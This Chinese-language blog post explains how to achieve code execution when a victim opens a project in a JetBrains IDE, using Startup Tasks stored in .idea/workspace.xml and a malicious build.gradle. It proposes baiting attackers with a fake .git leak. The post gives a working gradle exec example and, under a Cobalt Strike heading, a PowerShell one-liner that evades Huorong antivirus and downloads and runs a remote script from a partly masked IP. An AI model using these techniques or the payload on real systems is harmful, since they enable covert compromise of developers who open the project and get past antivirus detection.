前言
前有APT利用vs,后有小子利用IDEA
Lazarus APT攻击手法之利用Build Events特性执行代码复现
有一个vscode更新后再打开目录成这样了
能出现这样安全模式,一定是出了安全问题,但当时没有多想,IDEA同理
vscode更多基于插件,这里IDEA利用成功率更多
蓝队思路
将这个项目伪装为一个.git泄露,红队使用扫描器扫描到.git泄露大概率会忍不住诱惑下载,如果下载完使用JetBrains家的IDE打开则会直接RCE。 为了使其有更大的可能性使用IDE打开,将项目伪装的尽可能大一些,看起来不是一个文本编辑器查看能够搞得定的,这个时候会写代码的红队很可能会使用自己的IDE打开阅读尝试寻找有效信息
总的来说,这不是一个漏洞,更像一个方便开发人员的配置功能,包括ppt.vs,vscode,idea这些都有一个可以方便调用程序/命令的功能,不过这些都可以被安全人员拿来用做钓鱼方式
为什么能够在打开项目的时候RCE
JetBrains系列的产品支持一个Startup Tasks的功能:
https://www.jetbrains.com/help/idea/settings-tools-startup-tasks.html
这个功能是用于在每次使用JetBrains系列的IDE打开给定项目的时候都执行某个任务,有些系列的IDE会将Startup Tasks放在Tools菜单下, 但是有些系列的IDE不会放,从File —> Settings 打开设置:
然后搜索Startup Tasks即可打开相关设置项,然后Add New Configuration增加一个新的配置:
这里有很多选项,通过这些任务就可以实现RCE:
执行任意脚本文件
这里选择比较容易实现RCE的shell script:
选择项目文件夹下的批处理文件,注意一定要取消勾选Actiovate tool window,这个选项被勾选时执行脚本的时候会把Terminal窗口给打开再执行,这个时候隐蔽性就没那么高了, 一旦激警很可能会迅速取消使得文件得不到执行:
这个文件的内容是保存在项目文件夹下的.idea/workspace.xml文件中的:
bat内容
mshta vbscript:msgbox("You Are Hacked By Me!",1,"Tips")(window.close)
此时退出重新打开项目就会执行这个批处理文件
直接执行命令
执行可执行文件
shell script任务中可以不必老老实实指定一个批处理脚本文件,而是可以直接指定一个二进制文件,这个二进制文件一样会被执行。
Gradle
最先想到的是 java 项目常用的构建工具 gradle. 它的 build 方式不同于 maven 的那种声明式 xml, 而是通过运行一个 build.gradle 脚本, 类似于 python 安装模块时的 setup.py. 我们自然可以通过编写恶意的 build.gradle 脚本来达到 RCE 的目的, 示例如下
plugins {
id 'java'
}
group 'org.example'
version '1.0-SNAPSHOT'
exec {
commandLine 'touch', '/tmp/pwned'
}
repositories {
mavenCentral()
}
dependencies {
testImplementation 'org.junit.jupiter:junit-jupiter-api:5.7.0'
testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine:5.7.0'
}
test {
useJUnitPlatform()
}
即是 RCE 的部分, 非常的简单直接
如果打开 Safe Mode, 是不会运行 build.gradle 的, 保证了用户的安全, 但是如果信任了这个项目, IDEA 就会自动运行 build.gradle
CS上线
//一个bypass 火绒下载语句
powershell.exe -c "set-alias -name test -value Invoke-Expression;test((new-object net.webclient).downloadstring('http://x.x.95.x:80/a'))"
火绒在安全人员里面挺有市场的
提醒
当然好像在某些版本之后便不会自动执行了